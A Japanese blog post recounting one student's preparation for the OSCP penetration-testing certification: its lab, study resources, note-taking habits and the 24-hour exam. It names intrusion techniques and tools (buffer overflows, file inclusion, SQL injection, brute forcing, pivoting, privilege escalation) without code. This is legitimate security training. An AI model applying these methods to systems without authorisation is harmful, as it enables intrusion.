CTFと何が違うのか?と疑問に思う人もいるかと思いますが、CTFはぺネトレっぽい要素を含んでいます。ただ、ぺネトレは攻撃ポイントを自分で調査して見つけるのに対し、CTFでは「このサービスを悪用せよ」的な問題であることが多い気がします。
脆弱性は未発見のものを自分で一からファジングして見つけるのではなく、すでにExploitが公開されている脆弱性を悪用します。
例えば、MS17-010(Eternal Blue)などです。一から自分でExploitを作ることはOSCPでは範囲外です。
受験料はOSCPラボ3か月で12万くらいでした。
一か月プラン、2カ月プラン、3か月プランの中から選べます。学習の流れとしては、はじめに200枚くらいのPDFとビデオ(同一内容)が渡されて、それで基本事項を理解したあと、OSCPラボでハッキングの練習をして、試験に備えるという感じです。
Labo Networkには脆弱なマシンが大体60個くらいあります。生徒がアクセスできるNetworkには45個くらいあって、そこから攻略したマシンを踏み台にして、さらに内部のネットワークに侵入して内部のマシンを攻略することができます。
内部のNetworkに侵入するには、NICを複数持つマシンを攻略して、そのマシンを踏み台にする必要があります。そのマシンにはnetwork-secret.txtが存在していて、その内容をコントロールパネルに入力することで内部のネットワーク内のマシンのリバートをすることができるようになります。
内部ネットワークは全部で3つ存在していて、自分はすべて解放しました。
あと、OSCPのラボマシンの攻略方法の答えはありません(ヒントは学生フォーラムにある)。自分で探すしかありません。とはいっても、過度にこれにおびえる必要はないと思います。ぶっちゃけ学生フォーラムの散りばめられたヒントを組み合わせれば一つのWriteupになる気がするし、Spoilerすれすれのヒントも結構見つかります。
あと、教材からビデオ、学生フォーラムから試験の説明まですべて英語です。ですが、Google翻訳様やDeepL様を駆使すれば問題ないです。ビデオの音声もとてもゆっくりはっきり発音してくれるし、簡単な英語を話すようにおそらく努めてくれているので、自分は英語で不便は特に感じませんでした。
OSCPの難易度
この記事で一番伝えたい内容です。
個人的に、OSCPはめちゃくちゃ難しいというわけではないと思います。背景知識、Linux,Windowsの理解、プログラミングスキル、ネットワークの理解などはそんなに必須ではないかなと思います。毎回攻撃するターゲットは変わるので、特定のサービスに詳しくなくてもあまり問題ない気がします。
プログラミングスキルも、C python php javascript SQL シェルスクリプトあたりの文法を何となく理解していればいいのでは?と思ってます。大事なのは、pythonで一からExploitを作成する能力ではなく、pythonで書かれたExploitを実行してエラーが出た場合にそれを修正する能力です。
自分はJava Ruby Perlなどは正直よくわかってません…
ただ、これは超大事というスキルはあります。それはデバッグ能力です。これはマジで大事です。動きそうなExploitを見つけて実行してもなんかうまく行かない、エラーが出る、そもそもうまく行っているのかすらわからない、というようなことは日常茶飯事でその都度、それらの対処・修正をしてExploitを成功させる必要があります。
例えば、Login Brute Forceをするとして、hydraというツールを使った場合、そのサービスでブルートフォースは有効でない可能性、ブルートフォースが有効だが使用したWordlistが小さい可能性、Wordlistは正しいがhydraが成功したと検知できていない可能性、hydraの構文を間違えている可能性、hydraがそもそもそのサービスに対する動作をサポートしていない可能性、などなどいろいろな可能性が常にあって、それらを念頭に入れたうえで調査をしていく必要があります。
調査するサービスの量が多くなるほど、いろいろ可能性が出てくるため、その中からExploitを成功させるのは結構大変です。
とはいえ、このデバッグスキルはOSCPラボを通して学習すればいいので、事前に持っている必要はありません。ただ、ラボに取り組むときにもこのことを念頭に置いておくと、いいと思います。
あと、OSCPを受けるにあたって、最低限抑えておくべき知識について自分の思っていることを書きたいと思います。
まず必要な資格についてですが、自分は基本情報技術者の資格しか持ってなくて、情報処理安全確保支援士は持ってないです。しかも基本情報も去年の秋に取ったばかりです。実務経験ももちろん皆無です。でも、OSCPで基礎的な知識が全然足りてないなあと思うことはありませんでした。なので、自分の持っている資格で、「自分はOSCPはまだ早い」と考える必要は全くないと思います!知らない知識があればググって理解して、次同じものが来たときに解けるようになってれば、それで全然OKだと思います。
とはいえ、最低限事前にある程度理解してから受講した方がいいものはあると思うのでそれを紹介したいと思います。
- Buffer Over Flow BOFに関しては、簡単な問題(ASLR無しでEIPを操作してメモリ内に挿入してPayload実行)を事前に学習しておくことをお勧めします。BOFは全く知らないと理解に少し時間がかかるので、あらかじめ理解しておくと教材をスムーズに進められると思います。自分はCTFではPwnを少しかじっていたのでこの部分は事前に理解していました(といっても超基本しかわかってないですが)
- PHP PHPの、Local File Inclusion/Remote File Inclusion、Log Poisoningはよく見る脆弱性なので、試したことがなければ一度やってみることをお勧めします。
- SQL SQLの基本的な文法(任意のデータベースの任意のテーブルの任意の列の値を取り出せる程度)は押さえて、基本的なSql Injectionを一度試してみることをお勧めします。Union query型のSQLIを悪用できるくらいでいいと思います。
- linux bashの基本的なコマンド操作はある程度はできる必要があります(配布されるKali Linuxで作業するため)。とはいえ、めちゃくちゃ理解している必要もないと思います。Linux環境で何かやったことがあるなら条件は余裕で満たしていると思います。
- windows windowsに至っては自分はあまり理解してないまま、OSCPラボをやり始めました。はじめは少し手間取りましたが、慣れればそんなに大変じゃない気がします。というか、正直今の自分がちゃんと理解していないので、基準が不明です…
これくらいな気がします(ほんまか?)。これらの知識を付けるために効果的そうな学習方法は後述します。
OSCPを受講する前
自分がOSCPの資格を取ろうと思ったのは、去年の12月です。なんとなくCTFやったりマルウェア解析の本を読み漁ったり積読を消化・ためたりしていた時期に、少し前に消化した積読の「ハッキングラボの作り方」という本が面白かったのでぺネトレに興味を持って、OSCP体験記を読んで、「自分も取りたいなあ」と思ったのがきっかけです。それまでの自分はいろいろなことに手を出してはいるけど、何かを集中的にやったことはあんまりなかったので(9月にあったロボコンは集中的に頑張りました)、OSCPに集中して勉強しようと決意しました。
大学の期末試験が2月頭にあって、それ以降は2カ月の春休みで予定も埋まってなかったため、春休みからOSCPを受講しようと決めて、それまではVulnhubで精進することにしました。
その際、以下のサイトが丁寧にまとまっていて非常にいいと思います。自分は参考にしていました。あと、Vulnhub OSCP likeとかでググって出てくるマシンをやっていました。
qiita.com
自分はPwnは少しかじっていたのでBOFの簡単な問題は解けたんですが、CTFで言うWebジャンルは全く分からなくて、Sql Injectionキイタコトアルヤッタコトナイだったので、そこら辺の基礎を学ぶためにVulnhub以外にもbee-box(小問集合のマシン)を70問くらいやりました。SQLやPHPの基礎はここで押さえました。あと、VulnhubだけだとLinuxマシンしか練習できないので、Metasploitable3でWindowsマシンも練習しました。でも、正直Windowsマシンの攻略方法は全くわからないまま、OSCP受講することになりました。Metasploitable3を解いたのは3か月期間が始まる数日前です。
なので、結局自分がOSCP前にした準備は、Vulnhub15~20台くらい、Bee-Box70問くらい、Metasploitable3、です。今思えば、HackTheBoxやってもよかったか?とも思いますが、試験期間と被っていたためまあ仕方ない気がしなくもない。
単位はかろうじて全部ありました。
OSCP Labo
Labo について
前述したとおり、合計60個くらいの脆弱なマシンを自由にVPN越しで攻撃することができます。
最近OSCPのコースが2020にアップデートされて、追加料金2万円くらいを支払えばアップデート版のコースを受講できるらしいです。自分の時にはすでに利用可能になってましたが、アップデートはしませんでした。
アップデートしなかった理由はいくつかありますが、大きな理由は学生フォーラムのサポートが十分ではなさそうだと思ったからです。ラボマシンに取り組むうえで、どうしても自分ではわからないところは学生フォーラムのヒントを見ることになるんですが、アップデート版はそのヒントが少なそうでわからなかったら詰むと感じました。旧バージョンはかなりの数の投稿があって、それらを読み漁ればなんとか詰んだマシンも攻略できました。
旧バージョンでも試験に受かるのには十分だと思います。
学生フォーラム
学生フォーラムには、教材のExcerciseのエラーで詰まった対処法、難しいマシンのヒント(spolierでない程度の)、便利なツール、学生のポエム(w)など様々な有益な情報が載っているので、積極的に活用するといいと思います。ただ、学生が投稿しているので間違った情報もたくさんありますので、それらの都度取捨選択する必要があります。
どうしても攻略できないマシンがあって、考えられるExploitはすべて試した、またはExploitする場所はわかっているがなぜか動かない、Googleでも検索してみたが解決しない場合はヒントを見ることをお勧めします。ただ、ヒントを見るのは考えられうるすべてを試した・探した後にした方がいいと思います。
Metasploit
OSCP試験ではMetasploitの使用は一回までしかできないので、LaboでもMetasploitの使用はできるだけ控えた方がいいと思います。ですが、裏を返せば試験でもMetasploitが使えるので、詰まったときにMetasploitを使えば解決するのか?などを試験で把握するためにMetasploitにもそこそこ慣れておいた方がいいです。手動でExploitした後に、Metasploit ModuleでもExploitしてみる、といった感じにいろいろ試せばいいと思います!Offsecがこのような制限を設けているのは、おそらく「Metasploitに過度にたよりすぎないように!」というメッセージだと思ってます。便利であることは確かなので、適切に付き合うことが大事です。
Labo machineについて
Laboのマシンはいろんなタイプがあって、難易度も様々ですが、基本的には簡単です。HackTheBoxやVulnhubでいうEasyに分類されるマシンが7割くらいです。Mediumくらいのマシンはそんなに多くないし、その分学生フォーラムで大量にスレッドがあるのでそこを参考にすれば十分戦えます。ただ、マシンの中でも特に難しいとされるマシンが4つ(フォーラムではbig4と呼ばれている)あって、これはそこそこ難しいです。難易度で言えば、Mediumくらい?。ただ、難しい分学べることも多い様に作られているので、解けたら「いい問題だった!」と思えます。
Exerciseについて
教材にはExerciseがついていて、それとラボマシン10台の攻略手順をレポートとして提出すれば、試験の点数に追加で5点もらえます。Exerciseをやるべきか否かは諸説ありますが、自分はやった方がいいと思います。試験で5点加点が魅力的というのもありますが、レポートを書きなれるという意味で、ラボレポート(ラボマシン10台+Exerciseのこと)を書くのはとても良かったと思います。これをやっていたおかげで、実際の試験後のレポートでスムーズに行けたと思います。はじめは「たかがレポートじゃん」って思ってましたが、どういうレイアウトにするのか?どういうコマンドのスクショをとるのか?スクショの中で強調したい部分はどうやって編集するか?スペルミスしてないか?文法おかしくないか?他重要な情報が抜けていないか?などいろいろ気を配ることが多いので、レポートを書く際に身につくスキルもばかにならないなと思いました。
とはいえ、ラボレポート189枚は量が多すぎるし、そもそもレポート書くのに時間をかけたせいで試験で問題が解けないと本末転倒なので、そこらへんは各自の判断でいいと思います。
自分の体験
自分は3か月パックを購入しました。あとでやった方がよさそうなExerciseは飛ばして、はじめの10日でそれ以外のExcerciseを終わらせました。Exerciseにかけるべき時間についても諸説ありますが、自分はさっさとやってしまうのがいいと思います。アップデート版はわからないですが、旧バージョンの教材は知っていることが多くそれだけでは明らかに知識不足なので、時間をかけるべき場所ではないと思います。とはいえ、教材を読んでよくわからないならその場でしっかり理解した方がいいと思います。でも、たぶんVulnhubやHTBを10個以上解いたことがあるなら、教材はすらすら読み流せると思います。
Exerciseを終わらせてからはひたすらラボマシンを攻略していました。Offsec曰く、「どのマシンから攻略するのかを決めるのも大事」とのことで、マシンのIPは簡単な順番に並んでいるわけではありません。自分なりに、簡単そうだなと思ったマシンからやってました(外れたこともあります)。あと、ラボマシンの中でOffsecが丁寧なWriteupをフォーラムに挙げてくれているマシンが二つあって(3つ目はComming Soonになってた)、これからまず解くことをお勧めします。着眼点や調査手順、思考プロセスなど非常に参考になりました。
あと、ラボマシンを取り組んでいくうえで、自分用のチートシートは欠かせないと思います!!マジで大事!!!これなしでは自分は試験には絶対に合格しなかったと思います。チートシートには、自分が知らなかったツールの使い方や便利なワードリスト(/usr/share/wordlists/rockyou.txtなど)、チェックするべき項目などをまとめるといいと思います!これをすることで、試験でも「このサービスにはこの列挙ツールをこのワードリストと一緒にこのオプションで実行する」ということができるのでマジで重宝します。また、以下のようなEnumツールや着眼点がまとまっているサイトを読んで、自分が知らないものはチェックしていくといいと思います!はじめは量が多すぎて途方にくれますが、基本的なチェック事項は無限にはないのでそこは頑張ります!
book.hacktricks.xyz
blog.g0tmi1k.com
github.com
あと、もう一つ超大事なのが、Note Takingです。実行したEnumツールをまとめる作業です。これも独自のNote Taking手法を開発すればいいと思います。ちゃんとしたEnumを行ってもNote Takingが雑だと正しいExploitVectorを発見できない・発見が遅れるのでマジで大事です!!
自分はマシンが攻略できない原因の多くが、雑なNote Takingでした。もっと情報を整理して、何がどこから得られて、どういう可能性があるのか、どういうExploitがあってそのExploitが動作する可能性はどれくらいなのか、その根拠はなにか、などを一目でわかるように何回もアップデートを繰り返しました。
例えば、以下は自分のNote Takingのためのテンプレートです(OSCPマシンではないよ!)。
80ポートに対するnikto
,gobuster
,nmap
などのツールの実行結果をすぐにみられるようにしています。
また、GoogleでExploitを調べるググり方、ググる際の注意点、Exploit-dbから得られた結果なのか、cve-detailsからなのか、githubからなのかを一目でわかるようにして、考えられうるExploitを絶対に検索漏れしないように気を付けています。
これは一例ですが、こんな感じで自分だけのテンプレートを作ると、試験中はEnumの段階はこのテンプレートに従って空欄を埋めていく作業になるので、余計な場所に気を使わなくてよくて楽です。
ぜひ自分だけのNote Takingを確立してください!自分はCherryTreeを使いました。配布されるKali Linuxにデフォルトで入っています。
あと、マシンを解くときは必ず時間を計るようにしていました。どのツールがどれくらいかかるのか、どれくらいでExploitできたのか、は毎回確認して、どうすればもっと早くExploitできたかを反省して、次に活かしてました。
自分は、一日に一台ペースで解いていきました。30日経過時点で17台攻略しました。そして、60日経過で45台を攻略してそのあとはHackTheBoxのOSCP likeのマシンを解いて試験に備えました。ラボネットワークには、直接悪用できない、依存関係を必要とするマシンがあって、Client Side Attackをするマシンもあり、試験とは直接関係ないですが、自分はとても勉強になりました。VulnhubやHackTheBoxはroot取ってフラグとって終わりですが、OSCPはそのあとさらにPost Exploitをして次のマシンの攻略につなげる必要があるので、より実践向きというか、攻撃者っぽい思考プロセスを養えるのが強みだと思います。ここが一番ハッカーぽくて自分はやってて楽しかったです。攻略したマシンを踏み台にして内部ネットワークをさらに攻略するとかOSCPならではですね!
Rabbit Hole対策
試験ではRabbit Holeといって、Exploitがありそうに見えてなかったり、なんだかよくわからない不確定要素の部分があって、我々を迷わせるものがあります。考えられる選択肢が多すぎて詰む、とかです。
そんなときのために自分がやっていたRabbit Hole対策を紹介したいと思います。
まず、ポートのEnumをした後に、必ずそれらの結果をまとめて、自分用に簡単にまとめていました。これをすることで、まとめている時に調査漏れに気づいたり、二つの事柄を同時に考慮すると新しい着眼点が見えたりすることもあるし、自分は何をチェックしたのかがわかりやすいため、あとで見直すときにも便利です。(OSCPマシンじゃないよ!!)
あと、GoogleやSearchsploitで見つけたExploitを動きそうか?悪用できそうか?の基準に沿って仕分けていました。これによって、動くか全くわからん大量の優先度が全く同じのExploitから、悪用できそうなExploitを優先度付きで見つけ出すことができます。
LinuxのPrivilegeEscalationに関しては、あらかじめチェックする項目を設けておき、Enumツールを実行して、そこを埋めていく作業をしていました。これは完全に作業です。事前にGotmilkやPayloadAllthingsなどを読み込んで、事前に把握できるものは把握するようにしていました。(OSCPマシンじゃないよ!!)
そのあとは、それらの結果を一か所にまとめていました。まとめることで、怪しい個所を何回も目にすることになるので、気づきやすくなります。(OSCPマシンじゃないよ!!)
WIndowsに関しても同様にしていました。(OSCPマシンじゃないよ!!)
さらに、WindowsマシンのPrivilegeEscalationのKernel ExploitはSuggesterが検知する合計が30種類程度なので、全て事前に調べておいて、コンパイル済みのバイナリがあるのか、Githubにあるのか、Metasploitにあるのか、現在のWindow上にSYSTEMプロンプトを起動するタイプのバイナリなのか?(そうであればRDPでないと実行できない)などを事前にリストとしてまとめていました。
自分でhigh medium lowでExploitの優先度を仕分けていました。これによりHackTheBoxのWindowsマシンのPrivilegeEscalationはただの作業になりました。
大量にSuggesterが検知するExploit達をどの順番で実行するのか手間取ってしまったため、このリストが生まれました。
OSCP Exam
Examについて
試験は24時間(正確には23時間45分)で、5台のマシンのうち、70点をとれれば合格です。5台のうちの一つはBOFです。Proof.txtとlocal.txt(あるマシンと無いマシンがある)を試験用のコントロールパネル(試験開始後にVPN経由でアクセスできるようになる)で提出するのと、レポートでスクショとるのの二つで提出する必要があります。詳しくは、試験ガイドを参照してください!試験ガイドは何回も読んで完全に理解することを強くお勧めします。
また、試験後の24時間でレポートを作成して提出する必要があります。レポートのテンプレートは例が用意されているのでそれを参考にします。Examレポートから、Exploit手順を完全に再現できる必要があるため、スクショの取り忘れには要注意です。必ず、一度Exploitが成功した後に、もう一度初めからやって再現できるかを確認することをお勧めします。
あと、試験中は常にWebカメラと画面共有で監視されます。Webカメラの監視は重いので別のPCでやった方がいいみたいな記事もあるけど、どうやら最近ルールが変わったっぽくて、Webカメラと画面共有は同じPCからでないといけないようです。監視ツールはホスト上で動作させる必要があります。あと、録画はできません。なので取るべきスクショをとっているかどうかは何回も確認した方がよさそうです。
あと、試験開始日時、開始時間は自由に選べますが、予定が埋まるのが早いため、早め(少なくとも3週間以上前)から予約することをお勧めします。あと、開始時間ですが、すでにOSCPを取得した方のおすすめが夕方からで、自分もそれをお勧めします。席を立つときや寝るときは、試験管にその旨を伝えると休ませてもらえます。
あと、監視ツールは試験開始前にセットアップする必要があるのですが、それが遅れると試験時間も減ります。セットアップ手順など、試験前にあらかじめ確認しておくといいと思います。
自分のExam(予定)
自分は15時から開始にしました。あと、ラボのコース期間終了までまだ2週間くらい残ってましたが、大学の実験がGW以降始まってしまってそっちのレポートに時間を取られるので、実験が開始する前にOSCPの決着をつけたかったので75日目くらいに受験することになりました。受験時に攻略したマシンは、Vulnhub15~20台、OSCPラボ45台、HTB15台くらいの合計70台くらいでした。HackTheBoxに関してはもっとやりたかったですが、時間がなかったのでEasy寄りのMediumを中心に解いていました。
以下で言及されているマシンをやりました。
www.reddit.com
自分は、Examの前に一度自分でBOF+HackTheBoxのマシン4台を24時間で解いてみることを試したんですが、試験のデモとしては結構よかったです。時間感覚、いつ寝るのか?解けないマシンの対策、スクショの確認などが確認できてよかったです。ただ、体力的にかなり疲れました。
以下は、試験前に立てていた試験中の予定です。
Rabbit Hole対策として、攻略するマシンの順番をあらかじめ決めておき、決まった時間が過ぎたら解けてなくても後回しにして、一周した後にもう一回そのマシンを解く、という風にしました。実際、この作戦は本番でもよかったと思います。
15:00スタート BOF以外をAutoReconやNikto,Gobusterだけまずは実行。 そのあとBOFを1~2時間でやる 17:00 BOF終了 18:30 簡単なマシンのSearchsploit終わりまでやった。Exploitを試す。 19:30 簡単なマシンのRootとれればGood!取れなければ後に回す。 21:00 次に簡単なマシンをSearchsploit終わりまでやった。 22:00 初期シェルゲットできればGood!出来なければ後に回す。 ごはん食べる (予定ではBOFと簡単な1つのRootと1つの初期シェル45点ができているはず) 23:30 2番目のマシンのPEのSearchsploit終わりまでやった。 00:30 2番目のマシンのRootとれればGood!出来なければ後に回す。 3番目のマシンをやりだす。 02:00 3番目のマシンをSearchsploit終わりまでやった。 03:00 3つめのやつの初期シェルがゲットできてればGood!できなければ後に回す。 04:00 3番目のマシンのPEのSearchsploit終わりまでやった。 05:00 3番目のマシンのRootとれればGood!出来なければ後に回す。 ここまでで最後の25点以外がすべて解けていればGood!もう受かる! いったん休憩30分くらい、机で寝る 07:00 一番難しいマシンのSearchsploit終わりまでやった。 08:00 一番難しいマシンの初期シェルが取れればGood!出来なければ後に回す 09:00 一番難しいマシンのPEのSearchsploit終わりまでやった。 10:00 一番難しいマシンのRootとれればGood!出来なければ後に回す。 ここまでいったん再現性チェックする!! 12:00 いままで解けている問題の再現性チェック終わり。 いまから終了まで残り3時間で頑張る 14:45 終了
試験前日は、HackTheBoxとかで体力消費しないで、OSCP reviewとか試験ガイドを読み直して最終確認をして、早く寝ました。
ちなみに、試験当日の作業用BGMとしてYouTubeのリストを作って、本番はそれを聞いてました。
あと、試験本番では、自分は3つのタイマーを使いました。一つは開始直後からスタートして開始からどれくらいたったのかを確認する用、もう一つは30分ごとにカウントダウンして30分経ったことを知らせる用、もう一つは4時間のカウントダウンで一つのマシンにかけられる大体の時間です。
特に、30分経過ごとに鳴るタイマーは、一つのサービスに過度に時間をかけすぎないようにするための、客観的に立ち直らせてくれるRabbit Hole対策のうちの一つです。これはかなり効果があったと思います。実際、冷静さを欠いてパニックになるようなことにはなりませんでした。
あと、自分が試験を受けたときの環境ですが、自前のノートパソコンに外付けSSDをUSB接続して、SSD内のVMImageをPC上で動かすという、かなり限界みのあることをしていました(ノートパソコンのSSDの容量がもうない…)。ディスプレイは自分は使いませんでした。普段のラボの時も使ってなかったので、別になくてもいいやと思ってました。というか持ってないです。
あと、VMのバックアップは必ず取っておくことをお勧めします。そして、試験中は新しいツールを入れる、ということは基本的にしないほうがいいとおもいます。配布される古いVMに、apt経由でpip3を入れるとVMがぶっ壊れます(自分はぶっ壊しました)。
自分の試験(現実)
15時試験開始なので、当日は12時くらいに起きました。昼ご飯を食べて、14時30分くらいまでYouTubeでリラックスしてました。が、めっちゃ緊張してました。
14:40くらいに監視ツールを起動して、監督者とチャットで必要な確認(パスポートによる本人確認など)を事前に済ませて、14:50くらいから試験が始まるまで無言で待機してました。さすがにこの10分間はYouTube見る気にはなりませんでした。
15:00から試験開始で、試験コントロールパネルに接続して、マシンごとの説明を読んで予定通りにBOFのマシンから取り掛かりました。
16:00に、一時間でBOFのマシンが終了しました。よしよし、と思っていたら、AutoreconをBOF前に実行することを忘れていたことに気づきました。まじか…って思いました。相当緊張していました。あと、なぜか首がめちゃくちゃ痛くて何かを飲み込むだけで痛かったです。あとから気づいたんですが、緊張しすぎて首に変な力が入っていたことによる筋肉痛でした…。
次に、簡単なマシンから取り組み始め、17:14にrootをゲットしました!ここまででかなり順調で、よしよしって感じで次のマシンに取り組みました。
3つ目のマシンも19:18に初期シェルをゲット!そのあと、21:05に3つ目のrootもゲットしました。ここまでで予定よりかなり速いペースで来ており、精神的に余裕を持って試験に臨めていました。
そのあと、晩御飯を食べて、4つ目のマシンに取り組み始めたんですが、00:15になっても初期シェルがゲットできず、仕方ないので後回しにすることにして、最後のマシンをやり始めました。
2:30に最後のマシンの初期シェルをゲット!この時点で65点あり、追加で提出するラボレポートの5点と合わせてぎりぎり合格ラインでした。そのあと、最後のマシンのPrivilegeEscalationがきつそうに感じたので、さっき後回しにした4つ目のマシンに戻ることにしました。
あと、ここら辺から監視ツールの画面共有が落ちまくる現象が発生して、ひどいときは5分に一回画面共有がストップし、その都度試験官から、「また画面共有が落ちたよ。ページをリロードしてね」というチャットが飛んできました。「試験を再開する前にネットワークの速度を見せてくれ」とも2回言われ、確認すると、7Mbps, 2Mbpsという……(おっそ)。結局深夜はそんな感じで何回も画面共有をやり直しました(多分30回くらい)。でも、「Sorry for such a many times. I refreshed this page. Is Problem solved?」とチャットで聞くと「気にしないで!画面共有できたよ!試験を再開してね」っていう優しいコメントが返ってきました。
そして、4:48に4つ目のマシンの初期シェルゲット!!!はじめに解けなかった原因はやはりEnum不足でした。この時点で75点あり、合格にはおそらく十分でしたが、どうせなら解けるだけ解いてやろうと思って喉が痛い中つづきをやりました。ちなみに、ここまででMetasploitは使いませんでした。
7:25になってもまだどちらもroot取れませんでした。この時点でかなり集中力が切れていたので、いったん今までのExploit手順のスクショや再現性の確認をすることにしました。
そのあとは、点数も余裕があったし、スクショの確認もしたので、2時間だけ眠ることを伝えて、11時まで寝ました。そして、起きてからも頑張ったんですが結局解けずに終わりました。
試験が終わると、夜の8時までいったん寝て、晩御飯食べてからレポートを書き始めました。スクショやproof.txtの取り忘れがないかとかめちゃくちゃビビってました。そして、5時くらいにレポートを書き終わり、提出して寝ました。レポートは59枚になりました。起きると、レポートの確認メールが届いており、その3日後、合格のメールが来ました!!
試験の感想
普通に難しかったです。BOFと簡単なマシン以外の3つはHackTheBoxで言えば確実にMediumだと思います。え?普通にラボより難しいんだが??と思った記憶があります。ラボマシンのようにすんなりいく感じではなかったです。
とはいえ、めちゃくちゃ難しすぎるというわけではなく、落ち着いてEnumしていけば解けるようになっていると思います。つまり良問でした。
OSCP対策
OSCPを受講するにあたって、必要な準備ですが、とにかくVulnhubやHackTheBoxを解くことだと思います。個人的な意見ですが、自分は15~20台くらいを攻略していればもうOSCPを受講する十分なレベルにいると思います。そして、解いたらできるだけ多くのWriteupを読んで自分に足りなかった視点などを理解して、チートシートやNote Takingをアップデートして、また次のマシンを解く…の繰り返しでいいと思います。
これは学生フォーラムに書いてあったことなのですが、「自分はOOとXXと△△のマシンを解いた。試験に十分ですか?」という質問に対して、「本当に大事なのはそのマシンを攻略することではありません。マシンを攻略する際の考え方、どうやってExploitを見つけどのようにしてExploitを実行したのか、なぜそのExploitが動作すると思ったのか、その根拠は何か。これらを理解することが大事です。」という答えがあって、自分も本当にその通りだと思いました。
なので、同じHackTheBoxのマシンを解いても人によってアップデートする必要のある部分は異なります。
例えば、Writeupを見るまでは見つけられなかったExploitがあったとして、大事なのはそのExploitそのものではなく、そのExploitを発見できるような調べ方です。Googleでちゃんと注意深くチェックすれば見落とさなかったのか、searchsploit
コマンドで必要以上に省いてしまっていたのか、Cvedetailsを見ていればそのCVEを見つけられたのではないか、site:github.com
というようなググり方をすればGithubのExploitを見つけられたのではないか、といった感じです。
こんな感じで、攻略するための思考プロセスを鍛えていけば、試験のRabbit Holeなんて恐るるに足りません。ただ決まったNote Takingに従って、決まったツールを使用してEnumして、Googleで見つけたExploitを決まった方法で評価付けして最も優先度の高いものから順に実行していくとそれが正しいものだった、って感じにRabbit Hole関係なく攻略できます。
ただ、OSCPを受講する際に、OSCPにまとまって時間が取れるのかは注意してください。多分やり始めるとかなり時間がかかって、ほかのことを平行してやるのは厳しいと思います。自分は春休みからやり始めたということもあって、一日最低8時間くらいはかけることができたので、始める時期は慎重に選ぶことをお勧めします。
自分は短期間にさらっと取ったように見えるかもしれないですが、たぶん600~700時間くらいかけています。ぺネトレ以外何もしなかったので。
最後に
ここまで長文を読んでくださってありがとうございます!
とりあえず、この記事で伝えたいことは、OSCPは決して雲の上の資格ではないということです。落ち着いて必要なものを積み上げていけば必ず取れる資格です。そして、おそらく読者の方の多くはすでに受講できるレベルにいると思います。
この記事を読んで一人でも「自分もOSCP受けられるんじゃね?」ってなってくれれば幸いです!